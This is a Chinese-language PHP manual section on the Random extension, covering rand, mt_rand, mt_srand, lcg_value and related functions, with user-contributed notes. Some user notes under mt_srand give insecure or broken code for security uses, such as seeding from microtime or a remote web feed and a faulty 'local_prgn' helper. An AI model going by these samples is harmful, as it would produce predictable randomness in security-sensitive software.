    • random_int — 获取生成加密安全、均匀分布的整数
    • srand — 播下随机数发生器种子
  • Random\Randomizer — The Random\Randomizer class
    • Random\Randomizer::__construct — Constructs a new Randomizer
    • Random\Randomizer::getBytes — Get random bytes
    • Random\Randomizer::getBytesFromString — Get random bytes from a source string
    • Random\Randomizer::getFloat — Get a uniformly selected float
    • Random\Randomizer::getInt — Get a uniformly selected integer
    • Random\Randomizer::nextFloat — Get a float from the right-open interval [0.0, 1.0)
    • Random\Randomizer::nextInt — Get a positive integer
    • Random\Randomizer::pickArrayKeys — Select random array keys
    • Random\Randomizer::__serialize — Serializes the Randomizer object
    • Random\Randomizer::shuffleArray — Get a permutation of an array
    • Random\Randomizer::shuffleBytes — Get a byte-wise permutation of a string
    • Random\Randomizer::__unserialize — Deserializes the data parameter into a Randomizer object
  • Random\Engine — The Random\Engine interface
    • Random\Engine::generate — Generates randomness
  • Random\CryptoSafeEngine — The Random\CryptoSafeEngine interface
  • Random\Engine\Secure — The Random\Engine\Secure class
    • Random\Engine\Secure::generate — Generate cryptographically secure randomness
  • Random\Engine\Mt19937 — Random\Engine\Mt19937 类
    • Random\Engine\Mt19937::__construct — Constructs a new Mt19937 engine
    • Random\Engine\Mt19937::__debugInfo — Returns the internal state of the engine
    • Random\Engine\Mt19937::generate — Generate 32 bits of randomness
    • Random\Engine\Mt19937::__serialize — Serializes the Mt19937 object
    • Random\Engine\Mt19937::__unserialize — Deserializes the data parameter into a Mt19937 object
  • Random\Engine\PcgOneseq128XslRr64 — The Random\Engine\PcgOneseq128XslRr64 class
    • Random\Engine\PcgOneseq128XslRr64::__construct — Constructs a new PCG Oneseq 128 XSL RR 64 engine
    • Random\Engine\PcgOneseq128XslRr64::__debugInfo — Returns the internal state of the engine
    • Random\Engine\PcgOneseq128XslRr64::generate — Generate 64 bits of randomness
    • Random\Engine\PcgOneseq128XslRr64::jump — Efficiently move the engine ahead multiple steps
    • Random\Engine\PcgOneseq128XslRr64::__serialize — Serializes the PcgOneseq128XslRr64 object
    • Random\Engine\PcgOneseq128XslRr64::__unserialize — Deserializes the data parameter into a PcgOneseq128XslRr64 object
  • Random\Engine\Xoshiro256StarStar — Random\Engine\Xoshiro256StarStar 类
    • Random\Engine\Xoshiro256StarStar::__construct — Constructs a new xoshiro256** engine
    • Random\Engine\Xoshiro256StarStar::__debugInfo — Returns the internal state of the engine
    • Random\Engine\Xoshiro256StarStar::generate — Generate 64 bits of randomness
    • Random\Engine\Xoshiro256StarStar::jump — Efficiently move the engine ahead by 2^128 steps
    • Random\Engine\Xoshiro256StarStar::jumpLong — Efficiently move the engine ahead by 2^192 steps
    • Random\Engine\Xoshiro256StarStar::__serialize — Serializes the Xoshiro256StarStar object
    • Random\Engine\Xoshiro256StarStar::__unserialize — Deserializes the data parameter into a Xoshiro256StarStar object
  • Random\RandomError — The Random\RandomError class
  • Random\BrokenRandomEngineError — The Random\BrokenRandomEngineError class
  • Random\RandomException — The Random\RandomException class

User Contributed Notes

There are no user contributed notes for this page.


简介

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量作为 PHP 核心的一部分总是可用的。

MT_RAND_MT19937 (int)
Indicates that the correct » Mt19937 (Mersenne Twister) implementation will be used by the algorithm, when creating a Random\Engine\Mt19937 instance using Random\Engine\Mt19937::__construct() or seeding the global Mersenne Twister with mt_srand().
MT_RAND_PHP (int)
Indicates that an incorrect Mersenne Twister implementation will be used by the algorithm, when creating a Random\Engine\Mt19937 instance using Random\Engine\Mt19937::__construct() or seeding the global Mersenne Twister with mt_srand(). The incorrect implementation is available for backwards compatibility with mt_srand() prior to PHP 7.1.0.
Warning

本特性已自 PHP 8.3.0 起废弃。强烈建议不要使用本特性。

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 Random Example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


Random 函数

Table of Contents

  • getrandmax — 显示随机数最大的可能值
  • lcg_value — 组合线性同余发生器
  • mt_getrandmax — 显示随机数的最大可能值
  • mt_rand — 通过梅森旋转（Mersenne Twister）随机数生成器生成随机值
  • mt_srand — 播下一个更好的随机数发生器种子
  • rand — 产生一个随机整数
  • random_bytes — Get cryptographically secure random bytes
  • random_int — 获取生成加密安全、均匀分布的整数
  • srand — 播下随机数发生器种子

User Contributed Notes

There are no user contributed notes for this page.


显示随机数最大的可能值

  • ? Random 函数
  • lcg_value ?
  • PHP Manual
  • Random 函数
  • 显示随机数最大的可能值

getrandmax

(PHP 4, PHP 5, PHP 7, PHP 8)

getrandmax — 显示随机数最大的可能值

说明

getrandmax(): int

返回调用 rand() 可能返回的最大值。

参数

此函数没有参数。

返回值

rand() 返回随机数可能返回的最大值

参见

  • rand() - 产生一个随机整数
  • srand() - 播下随机数发生器种子
  • mt_getrandmax() - 显示随机数的最大可能值

User Contributed Notes

Anonymous 09-Nov-2022 01:05
On a stock installation as of version 7.4.33 / 8.1.12, this function seems to return 2147483647 (maximum 32-bit integer).


组合线性同余发生器

  • ? getrandmax
  • mt_getrandmax ?
  • PHP Manual
  • Random 函数
  • 组合线性同余发生器

lcg_value

(PHP 4, PHP 5, PHP 7, PHP 8)

lcg_value — 组合线性同余发生器

说明

lcg_value(): float

lcg_value() 返回范围为 (0, 1) 的一个伪随机数。本函数组合了周期为 2^31 - 85 和 2^31 - 249 的两个同余发生器。本函数的周期等于这两个素数的乘积。

Caution

本函数并不会生成安全加密的值，并且不可用于加密或者要求返回值不可猜测的目的。

如果需要加密安全随机，则可以将 Random\Engine\Secure 引擎用于 Random\Randomizer。对于简单的用例，random_int() 和 random_bytes() 函数提供了操作系统的 CSPRNG 支持的方便且安全的 API。

Caution

Scaling the return value to a different interval using multiplication or addition (a so-called affine transformation) might result in a bias in the resulting value as floats are not equally dense across the number line. As not all values can be exactly represented by a float, the result of the affine transformation might also result in values outside of the requested interval.

使用 Random\Randomizer::getFloat() 在任意间隔内生成随机浮点数。使用 Random\Randomizer::getInt() 在任意间隔内生成随机整数。

参数

此函数没有参数。

返回值

介于 0.0 和 1.0（含）之间的伪随机浮点值。

参见

  • Random\Randomizer::getFloat() - Get a uniformly selected float
  • Random\Randomizer::getInt() - Get a uniformly selected integer
  • random_int() - 获取生成加密安全、均匀分布的整数

User Contributed Notes

Linndows 08-Aug-2016 02:02
I think best example...
<?php
$x=0;
while($x<=5){
$x++;
echo lcg_value()+$x."\n";   }
     echo lcg_value()+$x-(2*lcg_value()); echo "\n";
?>
daniel dot baulig at gmx dot de 03-Feb-2010 07:16
Choose your weapon:
<?php
function mt_randf($min, $max)
{
    return $min + abs($max - $min) * mt_rand(0, mt_getrandmax())/mt_getrandmax();
}
function lcg_randf($min, $max)
{
    return $min + lcg_value() * abs($max - $min);
}
function randf($min, $max)
{
    return $min + rand(0,getrandmax()) / getrandmax() * abs($max - $min);
}?>
rok kralj gmail com 05-Jun-2007 08:54
An elegant way to return random float between two numbers:

<?php
function random_float ($min,$max) {
   return ($min+lcg_value()*(abs($max-$min)));
}
?>


显示随机数的最大可能值

  • ? lcg_value
  • mt_rand ?
  • PHP Manual
  • Random 函数
  • 显示随机数的最大可能值

mt_getrandmax

(PHP 4, PHP 5, PHP 7, PHP 8)

mt_getrandmax — 显示随机数的最大可能值

说明

mt_getrandmax(): int

返回调用 mt_rand() 所能返回的最大的随机数。

参数

此函数没有参数。

返回值

返回不带参数调用 mt_rand() 时获取到的最大随机值，这可用于 max 参数而不是放大结果的最大值（更少的随机）。

参见

  • mt_rand() - 通过梅森旋转（Mersenne Twister）随机数生成器生成随机值
  • mt_srand() - 播下一个更好的随机数发生器种子
  • getrandmax() - 显示随机数最大的可能值

User Contributed Notes

bishop at php dot net 09-Jul-2015 04:31
The upper-bound of this value is platform-independent.  PHP implements the 32-bit version of the Mersenne Twister ("mt"), so the maximum possible value is 2**31 - 1 (2147483647).


通过梅森旋转（Mersenne Twister）随机数生成器生成随机值

  • ? mt_getrandmax
  • mt_srand ?
  • PHP Manual
  • Random 函数
  • 通过梅森旋转（Mersenne Twister）随机数生成器生成随机值

mt_rand

(PHP 4, PHP 5, PHP 7, PHP 8)

mt_rand — 通过梅森旋转（Mersenne Twister）随机数生成器生成随机值

说明

mt_rand(): int
mt_rand(int $min, int $max): int

很多老的 libc
的随机数发生器具有一些不确定和未知的特性而且很慢。mt_rand()
函数是旧的 rand() 的临时替代。该函数用了» 梅森旋转中已知的特性作为随机数发生器，它可以产生随机数值的平均速度比
libc 提供的 rand() 快四倍。

如果没有提供可选参数 min 和 max，mt_rand() 返回 0 到 mt_getrandmax() 之间的伪随机数。例如想要 5 到 15（包括 5 和 15）之间的随机数，用 mt_rand(5, 15)。

Caution

本函数并不会生成安全加密的值，并且不可用于加密或者要求返回值不可猜测的目的。

如果需要加密安全随机，则可以将 Random\Engine\Secure 引擎用于 Random\Randomizer。对于简单的用例，random_int() 和 random_bytes() 函数提供了操作系统的 CSPRNG 支持的方便且安全的 API。

参数

min

可选的、返回的最小值（默认：0）

max

可选的、返回的最大值（默认：mt_getrandmax()）

返回值

返回 min（或者 0）到 max（或者是到 mt_getrandmax()，包含这个值）之间的随机整数，如果 max 小于 min 则返回 false。

更新日志

版本 | 说明
7.2.0 | rand() 已收到模偏差的 错误修复。这意味着使用特定种子生成的序列可能与 64 位机器上的 PHP 7.1.0 不同。
7.1.0 | rand() 成为 mt_rand() 的别名。
7.1.0 | mt_rand() 成为使用梅森旋转（Mersenne Twister）算法的固定、正确版本。要使用旧行为，请使用 mt_srand() 并将 MT_RAND_PHP 作为第二个参数。

示例

Example #1 mt_rand() 例子

<?php
echo mt_rand(), "\n";
echo mt_rand(), "\n";

echo mt_rand(5, 15), "\n";
?>

以上示例的输出类似于：

1604716014
1478613278
6

注释

Warning

min max 的范围必须在 getrandmax() 范围内。即 (max - min) <= getrandmax()。否则，rand() 可能会返回质量差的随机数。

参见

  • mt_srand() - 播下一个更好的随机数发生器种子
  • mt_getrandmax() - 显示随机数的最大可能值
  • random_int() - 获取生成加密安全、均匀分布的整数
  • random_bytes() - Get cryptographically secure random bytes

User Contributed Notes

greald at ghvernuft dot nl 10-Jan-2023 07:00
To see some systematic deviations from a universal distribution run:

<?php
$alfabet = str_split('ADHKLMNPSTUWX');
$countalfabet = count($alfabet)-1;
$code = array_fill_keys($alfabet, 0);
for ($L=0; $L<80*$countalfabet; $L++)
{
  $lettr = floor(mt_rand ( 0, $countalfabet ));
  $code[$alfabet[$lettr]]++;
}

foreach($code as $L => $Freq)
{
  for($F=0; $F<$Freq; $F++)
  {
    echo $L;
  }
  echo "\n<br/>";
}
?>
Anonymous 20-Dec-2018 08:24
The seed is the PID + LCG (https://github.com/php/php-src/search?q=GENERATE_SEED&unscoped_q=GENERATE_SEED)
Pawe Krawczyk 05-Nov-2013 11:13
To reiterate the message about *not* using mt_rand() for anything security related, here's a new tool that has been just posted that recovers the seed value given a single mt_rand() output:

http://www.openwall.com/php_mt_seed/README


播下一个更好的随机数发生器种子

  • ? mt_rand
  • rand ?
  • PHP Manual
  • Random 函数
  • 播下一个更好的随机数发生器种子

mt_srand

(PHP 4, PHP 5, PHP 7, PHP 8)

mt_srand — 播下一个更好的随机数发生器种子

说明

mt_srand(int $seed = 0, int $mode = MT_RAND_MT19937): void

用 seed 来给随机数发生器播种。 没有设定 seed 参数时，会被设为随时数。

Note: 不再需要用 srand() 或 mt_srand() 给随机数发生器播种，因为现在是由系统自动完成的。

Caution

由于 Mt19937（"梅森旋转算法"）引擎仅接受 32 位整数作为种子，因此尽管 Mt19937 的范围为 219937-1，但可能的随机序列数量仅限于 232（即 4,294,967,296）。

当依赖隐式或显式随机播种时，重复会出现得更早。根据生日问题，在少于 80,000 个随机生成的种子后，预计重复种子的概率为 50%。在随机生成大约 30,000 个种子后，重复种子的概率为 10%。

This makes Mt19937 unsuitable for applications where duplicated sequences must not happen with more than a negligible probability. 如果需要可重复的种子，Random\Engine\Xoshiro256StarStar 和 Random\Engine\PcgOneseq128XslRr64 引擎都支持更大的种子，它们不太可能随机碰撞。如果不需要再现性，Random\Engine\Secure 引擎提供加密安全随机性。

参数

seed

任意 int 种子值。

mode

使用以下一个常量指定要使用的实现算法。

  • MT_RAND_MT19937： 正确的 Mt19937 实现，自 PHP 7.1.0 起可用。
  • MT_RAND_PHP 使用不正确的梅森旋转（Mersenne Twister）实现，在 PHP 7.1.0 之前一直用于默认实现，此模式可用于向后兼容。

Warning

本特性已自 PHP 8.3.0 起废弃。强烈建议不要使用本特性。

返回值

没有返回值。

更新日志

版本 | 说明
7.1.0 | srand() 成为 mt_srand() 的别名。
7.1.0 | mt_rand() 成为使用梅森旋转（Mersenne Twister）算法的固定、正确版本。要使用旧行为，请使用 mt_srand() 并将 MT_RAND_PHP 作为第二个参数。

参见

  • mt_rand() - 通过梅森旋转（Mersenne Twister）随机数生成器生成随机值
  • mt_getrandmax() - 显示随机数的最大可能值
  • srand() - 播下随机数发生器种子

User Contributed Notes

e at juresah dot si 15-Feb-2020 12:30
Please note that according to:
https://stackoverflow.com/a/11358829/2897386

The seed is automatically initialised with the current timestamp if not provided.

This means that your script will produce values of poor random quality if it's always run at a predictable time, for example by crontab. In that case it may be a good idea to initialise it manually from a cryptographically secure source.
Nibbels / downfight.de 04-Jun-2014 09:53
If you are new with seeding read my note.

I now understood seeding as a start-state of an algorithm. This algorithm generates a series of -following- pseudorandom numbers.
If you start generating from the same startvalue twice, you get the same series of random numbers twice in a row.

mt_srand(10); //start of your algorithm equals seeding set to 10
for($i=0;$i<10;$i++){
    echo mt_rand();
}

echo "<BR>";

mt_srand(10); //start of your algorithm equals seeding set back to 10
for($i=0;$i<10;$i++){
    echo mt_rand();
}

Output is like:
502355954641584702211262118810740890731360749216120791137454651988317865160461082451610903986200
<BR>
502355954641584702211262118810740890731360749216120791137454651988317865160461082451610903986200

My conclusion: Don't preset your seed to the same number all the time if you want "alternating random numbers"

Greetings
simon at labs dot coop 25-Dec-2013 09:19
I can't stress how important it is to seed your randomisation process in code! better still something we found in the BBS Days was if we didn't seed from a token from outside our systems abstraction layer we would go in circles and so would our users. Here at chronolabs we offer a feed of randomly changing token on each impression, it also randomly displays a different number of them this is from http://seed.feeds.labs.coop in the example below I use DOM to load the XML, Extract the randomisation tokens and then with mt_srand and srand seed the random selecting processes! The following function when you call it will seed your random selection process in both the old and new random selection routines all you need to do is call the function! This will work with any version of PHP 5 and any earlier with DOM Objectivity.

function makeRandomSeeded() {
    $file = 'http://seed.feeds.labs.coop/';
    $doc = new DOMDocument();
    $doc->loadHTMLFile($file);
    $skip = array('This feed can', 'Current mode is');
    $elements = $doc->getElementsByTagName('description');
    foreach($elements as $element) {
        $seed = $element->nodeValue;
        $found = false;
        foreach($skip as $find) {
            if (substr($seed, 0, strlen($find))==$find) {
                $found = true;
            }
        }
        if ($found==false)
            $seeds[] = $seed;
    }
    shuffle($seeds);
    mt_srand($seeds[mt_rand(0, count($seeds)-1)]);
    srand($seeds[mt_rand(0, count($seeds)-1)]);
}

Remember when PHP says an integer this also include any character of the Ascii chart if you would like to see an example of this do the following:

<?php
   $a = "000A";
   while($a!="001B") {
      echo $a;
      $a++;
   }
?>
php dot net-comment at lucb1e dot com 25-Dec-2013 12:20
@  fasaxc at yahoo dot com:

If you want truly random numbers, use a truly random source. Your system is rather unwieldy when you can simply call openssl_random_pseudo_bytes() for good randomness. Don't use microtime as a source of randomness.
josh at joshstrike dot com 25-Oct-2011 06:29
mt_srand effectively performs a modulo % 2147483648 on positive integers over 32 bits, but with negative integers it instead adds 2147483648 to the value it gets.

Seeds with equal results:
2147483649 == 1
2147483648 == 0
2147483647 == -1
-2147483646 == 2
-2147483647 == 1
-2147483648 == 0

Importantly though, seeding with anything less than -2147483648 will always yield the same result as seeding with zero.
limo at anime42 dot com 14-Apr-2010 07:33
I have spent the last couple of hours trying to track down a bug which affects mt_rand/rand and mt_srand/mt_rand.

OS is Debian 5.0.4 "Lenny".
PHP version is 5.3.2-0.dotdeb.1 with Suhosin-Patch (cli) (built: Mar  9 2010 11:42:01).

I have tried to fix the issue by appending the following lines into the .htaccess / apache2 main config file:

        php_value suhosin.mt_srand.ignore Off
        php_value suhosin.srand.ignore Off

This has helped a bit, stabilizing the beggining of the pseudo random number sequence, but the generator still fails after a fair number of iterations (roughly around 1K~3K.

*** Removing the Suhosin extension has resolved this issue, I am waiting for an official extension build that will work with 5.3.x so that I can reattach it into the php configuration. ***

Here is the code which ought to replicate the problem:

    $len = 100000;
    $min = 0;
    $max = 99;

    $t = (int)(microtime(true)*0xFFFF);

    $a = array();
    srand( $t );

    for ( $i = 0; $i < $len; $i ++ )
        $a[$i] = rand( $min, $max );

    $b = array();
    srand( $t );

    for ( $i = 0; $i < $len; $i ++ )
        $b[$i] = rand( $min, $max );

    for ( $i = 0; $i < $len; $i ++ )
        if ( $a[$i] !== $b[$i] )
            die( 'Pseudo-random sequence borked at #'.$i.'th iteration!');

    echo 'Your pseudo-random sequencer is working correctly.';
    exit( 0 );
dev at 10e12 dot net 23-Mar-2010 04:44
Sorry for the error in the previous...
Due to the glitch with the wordwrap I got annoyed and lost focus on the copy and paste move.

The last part of the actual function should read.

<?php
// select what we need to return
    if ((($retMax == 0)&&($retMax = mt_getrandmax))||
($retMin==$retMax)){
        return mt_rand();
    }else{
        return mt_rand($retMin,$retMax);
    }

?>

And Nothing else of course...
dev at 10e12 dot net 23-Mar-2010 03:56
What about this for an example...

(sorry for the funky line breaks but I have once
more reported the bug on this issue of word
wrapping to no avail)

Intending to use it in passing a "semi-guaranteed"
properly seeded random number to a client, then to
capture input from the user which must be encrypted
client side before being sent to the server again
  a) during the same session and,
  b) within a set time limit.

for more reading also see:
  AES Rijndael enc/dec routines for javaScript
  developed and tested by Herbert Hanewinkel,
  http://www.hanewin.net/encrypt/aes/aes.htm

<?php
/*
calling the function, prepping the data to send to
the client... , who then uses it in a javascript
implementation of AES Encrypt.
*/

function SHA256($str, $keyval=""){
    if ($keyval!==""){//not null or empty
        $sHash = mhash(Constant('MHASH_SHA256'),$str, $keyval);
    }else{
        $sHash = mhash(Constant('MHASH_SHA256'),$str);
    }
    // same as Binary 2 Hex conversion
    return implode(unpack('H*',$sHash),'');
}

/*---------------------------------------------------
Radomizing the random data with fixed data for
the user and location If return value maximum
is set to zero (0) the function uses mt_getrandmax
If both retMin and retMax is zero (0) the function
uses mt_rand w.o. limits
*----------------------------------------------------*/
function local_prgn($retMin = 0, $retMax = 0){
// first get the session id of the request session
  $sSrv = session_id();

// the following is valid only on the current server
  $sSrv = implode(unpack($_SERVER['SERVER_NAME'].
             $_SERVER['SERVER_ADDR'].$sSrv),'');

// the following applies only to the requesting client
  $sReq = implode(unpack($_SERVER['REMOTE_ADDR'].
             $_SERVER['REQUEST_TIME']),'');

// get a SHA256 seed based on the current values
  $sSeed = SHA256($sSrv,$sReq);

// get a random value based on the uniqueness of the seed above
    mt_srand($sSeed); // seed the random num gen

// some error handling and checking
    if ($retMin > $retMax){
    // swap vars if wrong order
        $rx = $retMax; $retMax = $retMin; $retMin = $rx;

    } else if ($retMin == $retMax){
    //meaningless range, not very random
    //ensure for next check in this range
        $retMin = 0; $retMax = 0;
    }
// select what we need to return
    if ((($retMax == 0)&&($retMax = mt_getrandmax))||
($retMin==$retMax)){
        return mt_getrandmax();
    }else{
        return mt_getrandmax($retMin,$retMax);
    }
}

?>
Alderin1 at gmail dot com 19-Nov-2007 10:55
I think Joe was a little confused by the wording.  The note meant that implementations of mt_rand() before the change would generate a different set of pseudorandom numbers than would implementations of mt_rand() after the change for the same seed.

That's how it reads for me, anyway.
Kapr 14-Jun-2007 10:25
To slonmron:
Seed for random numbers generator should be initialized only once, before calling proper rand function. After that you give pseudorandom sequence by multiple calling rand. Initialization of random seed is used if 1) You have better source of random seed than implemented algorithm or 2) if You need always the same sequence of pseudorandom numbers. Example given by You shows only that first rand result strongly depends on seed, what is by definition. It is not a bug.
slonmron_no_spam_please_ at yahoo dot com 15-Mar-2007 11:44
Looks like mt_rand() gives same result for different seeds when the lowest bits are different only. Try this:

#!/usr/bin/php -q
<?php

$min = -17;
$max = $min + 48; // 48 is to fit the results in my console

for ($testseed=$min; $testseed<$max; $testseed++)
{
    mt_srand( $testseed );
    $r = mt_rand();
    printf("mt_srand( 0x%08x ): mt_rand() == 0x%08x == %d\n", $testseed, $r, $r);
}

?>

This is a snapshop of the results:
...
mt_srand( 0xfffffffc ): mt_rand() == 0x0a223d97 == 170016151
mt_srand( 0xfffffffd ): mt_rand() == 0x0a223d97 == 170016151
mt_srand( 0xfffffffe ): mt_rand() == 0x350a9509 == 889885961
mt_srand( 0xffffffff ): mt_rand() == 0x350a9509 == 889885961
mt_srand( 0x00000000 ): mt_rand() == 0x71228443 == 1898087491
mt_srand( 0x00000001 ): mt_rand() == 0x71228443 == 1898087491
mt_srand( 0x00000002 ): mt_rand() == 0x4e0a2cdd == 1309289693
mt_srand( 0x00000003 ): mt_rand() == 0x4e0a2cdd == 1309289693
...

I found this occationally. I have no idea if it is a bug or not. In my real life I do not intend to use sequentional seeds. However, probably this may be important for somebody.
oxai NOSPAM post dot htnet dot hr 09-Sep-2006 11:14
try this instead(!):

<?php

// randomizes MT's seed once per process.

function randomizeProcessSeed()
{
    static $thisProcessHasBeenInitialized;

    if( $thisProcessHasBeenInitialized ) return;

    list($usec, $sec) = explode(' ', microtime());
    mt_srand( (10000000000 * (float)$usec) ^ (float)$sec );

    $thisProcessHasBeenInitialized = true;
} randomizeProcessSeed();
?>
vbassassin at coderheaven dot com 30-Nov-2005 08:57
"Better still: Use a 31-bit hash of microtime() as the seed. "

Correct me if i am wrong, but woudlnt using microtime() still limit the total seeds to 1,000,000 again? Since the 31-bit hash will always give the same hash for the same number, and in the microtime() function you could have 1,000,000 or less numbers. So in effect your still no better off at all :-p

Best regards,
scott

PS: I actually agree that PHP has pretty much resolved the issue and got as close as anyones going to get to solving the seeding issue by introducing the "Mersenne Twister" algorithm which creates a much larger pool than 1,000,000 numbers. Just because the mt_srand() function exists doesnt mean you HAVE to use it ;-) use it if you NEED a specific list of the same numbers (comes in handy for encryptions with passwords ;-)
fasaxc at yahoo dot co dot uk 25-Jul-2003 08:01
In fact, here's an even better function than the one below assuming your install provides a random entropy daemon and you're running *nix (to check for the former type "head -c 6 /dev/urandom" on the command line if available - if you get 6 random characters you're set). N.B. php must be able to find the head program so it must be in your path and allowed if you're running safe mode.

The functions db_set_global() and db_get_global() I use to set/get a variable from a central database but you could save/restore the variable from a file instead or just use the function get_random_word().

<?

####################################
## returns a random 32bit integer.
## Passing a parameter of True gives a better random
## number but relies on the /dev/random device
## which can block for a long time while it gathers
## enough random data ie. DONT USE IT unless
##   a) You have an entropy generator attatched to
## your computer set to /dev/random -OR-
##   b) Your script is running locally and generating
## a good random number is very important
####################################
function get_random_word($force_random=False) {
    if ($force_random) {
        $u='';
    } else {
        $u='u';
    }
    $ran_string=shell_exec("head -c 4 /dev/{$u}random");
    $random=ord(substr($ran_string,0,1))<<24 |
            ord(substr($ran_string,1,1))<<16 |
            ord(substr($ran_string,2,1))<<8 |
            ord(substr($ran_string,3,1));
    return $random;
}

--EITHER - IF YOU'VE SET UP A DATABASE OF GLOBAL VARIABLES--

## If the seed is found in the database
if ($seed=db_get_global('seed')) {
    # use mt_rand() to get the next seed
    mt_srand($seed);
    # then XOR that with a random word
    $seed=(mt_rand() ^ get_random_word());
} else {
## Make a completely new seed (First Run)
    # Generate the seed as a proper random no using /dev/random
    $seed=get_random_word(True);
    mt_srand($seed);
}

db_set_global('seed',$seed);

--OR JUST--
mt_srand(get_random_word());

?>
fasaxc at yahoo dot com 17-Jul-2003 04:14
The best way to ensure a random seed is to do the following:
To start:
   1) get your initial seed with mt_srand(microtime() * 1000000)
   2) generate a random no. $random=mt_rand()
   3) save this number in a file (or database or whatever so that it is available next time the page is loaded)

 Now, for each time your script is loaded :
   1) load the value you saved above and do $new_seed=($random+(microtime() * 1000000))%pow(2,32)
   2) mt_srand($new_seed);
   3) generate a new random no. $random=mt_rand()
   4) save that number back in the file/database

This procedure takes advantage not only of the randomness of microtime() but of all the previous calls to microtime() so your seed becomes better and better with time. It also generates good seeds even on platforms where microtime() doesn't take all the values it can.

Just using microtime() * 1000000 only results in 1000000 possible seeds (and less on some platforms as noted) - the function above gives 2^32 seeds with an avelanche effect accross multiple executions.
mrcheezy at hotmail dot com 17-Feb-2003 02:14
Very good points above on seeds, thank you. If you would like to test a seed try using the code below. It will take between 5 and 20 seconds depending on your system and then will spit out the number of reused keys out of 100,000 attempts.

;  for ($i=0; $i<100000; $i++) {
;    mt_srand(hexdec(substr(md5(microtime()), -8)) & 0x7fffffff);
;    $rand = mt_rand();
;
;    ($arr[$rand] == '1') ? $k++ : $arr[$rand] = '1';
;  }
maxim at php dot net 13-Jun-2002 02:57
to : l_rossato@libero.it

doing ...

list($usec,$sec)=explode(" ",microtime());
$unique = mt_srand($sec * $usec);

theoretiaclly, makes just as much sense as

list($usec,$sec)=explode(" ",microtime());
$unique = $usec + 0;

Once every while, depending on the microsecond resolution of your computer, the millisecond value will be a zero (0), and as I hope you know, in mathematics, any number multiplied by a zero becomes a zero itself.

(x * 0 = 0)

In real life, on a good machine, with a resolution to 1 million miliseconds per each second (i.e: Win2k server), you will be reduplicating your unique ID each million's ID issued. This means if you use it as your cookie encryption algorithm or a visitor ID, you will not exceed some million instances.

Futhermore, if that would be for a software development that you re-distribuite, installed on some weird old PC, where resolution can be as small as 100 milliseconds per second - a code with this uniqueness algorithm just wouldn't last any long.

Good Luck,

Maxim Maletsky
maxim@php.net

PHPBeginner.com
changminyang at hananet dot net 20-Feb-2002 02:00
list($usec,$sec) = explode(" ",microtime());

/* Test: Each get rand sequence are 10time. */
/* ex) 5.3point meaning 5point integer + 3point decimal */

// case A:
// 5.0point - 1time
// 6.0point - 9time
$rand = (double)microtime()*1000000;

// case B:
// 8.6point - 1time
// 9.4point - 1time
// 9.5point - 7time
// 10.3point - 1time
$rand = (double)$sec * $usec;

// My case A:
// 8.0point - 10time
$rand = explode(".",$usec * $sec);
$rand = (double)substr($rand[0]*$rand[1],0,8);

// My case B:
// 9.0point - 9time
// 10.0point - 1time
$rand = explode(".",$usec * $sec);
$rand = $rand[0] + $rand[1];

mt_srand($rand);
srand($rand);

// P.S> My previous note is has wrong lines, sorry about it.  This is right.


产生一个随机整数

  • ? mt_srand
  • random_bytes ?
  • PHP Manual
  • Random 函数
  • 产生一个随机整数

rand

(PHP 4, PHP 5, PHP 7, PHP 8)

rand — 产生一个随机整数

说明

rand(): int
rand(int $min, int $max): int

如果没有提供可选参数 min 和 max 调用 rand() 会返回 0 到 getrandmax() 之间的伪随机整数。例如想要 5 到 15（包括 5 和 15）之间的随机数，用 rand(5, 15)。

Caution

本函数并不会生成安全加密的值，并且不可用于加密或者要求返回值不可猜测的目的。

如果需要加密安全随机，则可以将 Random\Engine\Secure 引擎用于 Random\Randomizer。对于简单的用例，random_int() 和 random_bytes() 函数提供了操作系统的 CSPRNG 支持的方便且安全的 API。

Note: 在某些平台下（例如 Windows）getrandmax() 只有 32767。如果需要的范围大于 32767，那么指定 min 和 max 参数就可以生成更大的数了，或者考虑用 mt_rand() 来替代之。

Note: 自 PHP 7.1.0 起，rand() 和 mt_rand() 使用相同的随机数生成器。为了保持向后兼容性，rand() 允许 max 小于 min，而不是像 mt_rand() 一样，返回 false。

参数

min

返回的最低值（默认：0）

max

返回的最高值（默认：getrandmax()）

返回值

介于 min （或是 0）和 max （或 getrandmax()，包含该值）之间的伪随机值。

更新日志

版本 | 说明
7.2.0 | rand() 已收到模偏差的 错误修复。这意味着使用特定种子生成的序列可能与 64 位机器上的 PHP 7.1.0 不同。
7.1.0 | rand() 成为 mt_rand() 的别名。

示例

Example #1 rand() 例子

<?php
echo rand(), "\n";
echo rand(), "\n";

echo rand(5, 15), "\n";
?>

以上示例的输出类似于：

7771
22264
11

注释

Warning

min max 的范围必须在 getrandmax() 范围内。即 (max - min) <= getrandmax()。否则，rand() 可能会返回质量差的随机数。

参见

  • srand() - 播下随机数发生器种子
  • getrandmax() - 显示随机数最大的可能值
  • mt_rand() - 通过梅森旋转（Mersenne Twister）随机数生成器生成随机值
  • random_int() - 获取生成加密安全、均匀分布的整数
  • random_bytes() - Get cryptographically secure random bytes

User Contributed Notes

play dot it at play-it dot net 17-Mar-2023 01:49
Here is a simple base64 random string function

<?php
function random_string($length) {
    $str = random_bytes($length);
    $str = base64_encode($str);
    $str = str_replace(["+", "/", "="], "", $str);
    $str = substr($str, 0, $length);
    return $str;
}

/*
Example outputs for random_string(32)

OP0vOJEsSvr6wbgN4jIwqMMstlpMSUsl
2IHaIxD2W4VTKZuzioudbpQCALdl6Ym6
QY0eZ3QYy3OKKN6ttzbDwAwsAfkXfQ2f
jznjlPCUDbYzOTJysPP414BbdVNu4jmT
GlktgJ8JUhdH5MfQ1PHl0wnqXQlKggQs
Pb9WALM3KcGCCPBKXsPgNfy3M0Xj4aEu
AED6OTVl8aBbspdxoXvA1sT4ein8lruH
9cSbz4FhoI4qSsPZFMh0u1rWDDEgQxI2
iSBlT4K7Ad516qPXgPReSj2tii7TAK5b
DuX8HByMb2e8IdM4j49Td2JTI9Ki7o1C
*/
?>
Anonymous 05-Oct-2020 11:07
Note that the algorithm change in version 7.1.0 broke the repeatability of a random sequence initialized with a given value. For example if you have a program like:

<?php
srand($argv[1]);
for ($i = 0; $i < 10; $i++) {
    echo rand().PHP_EOL;
}
?>

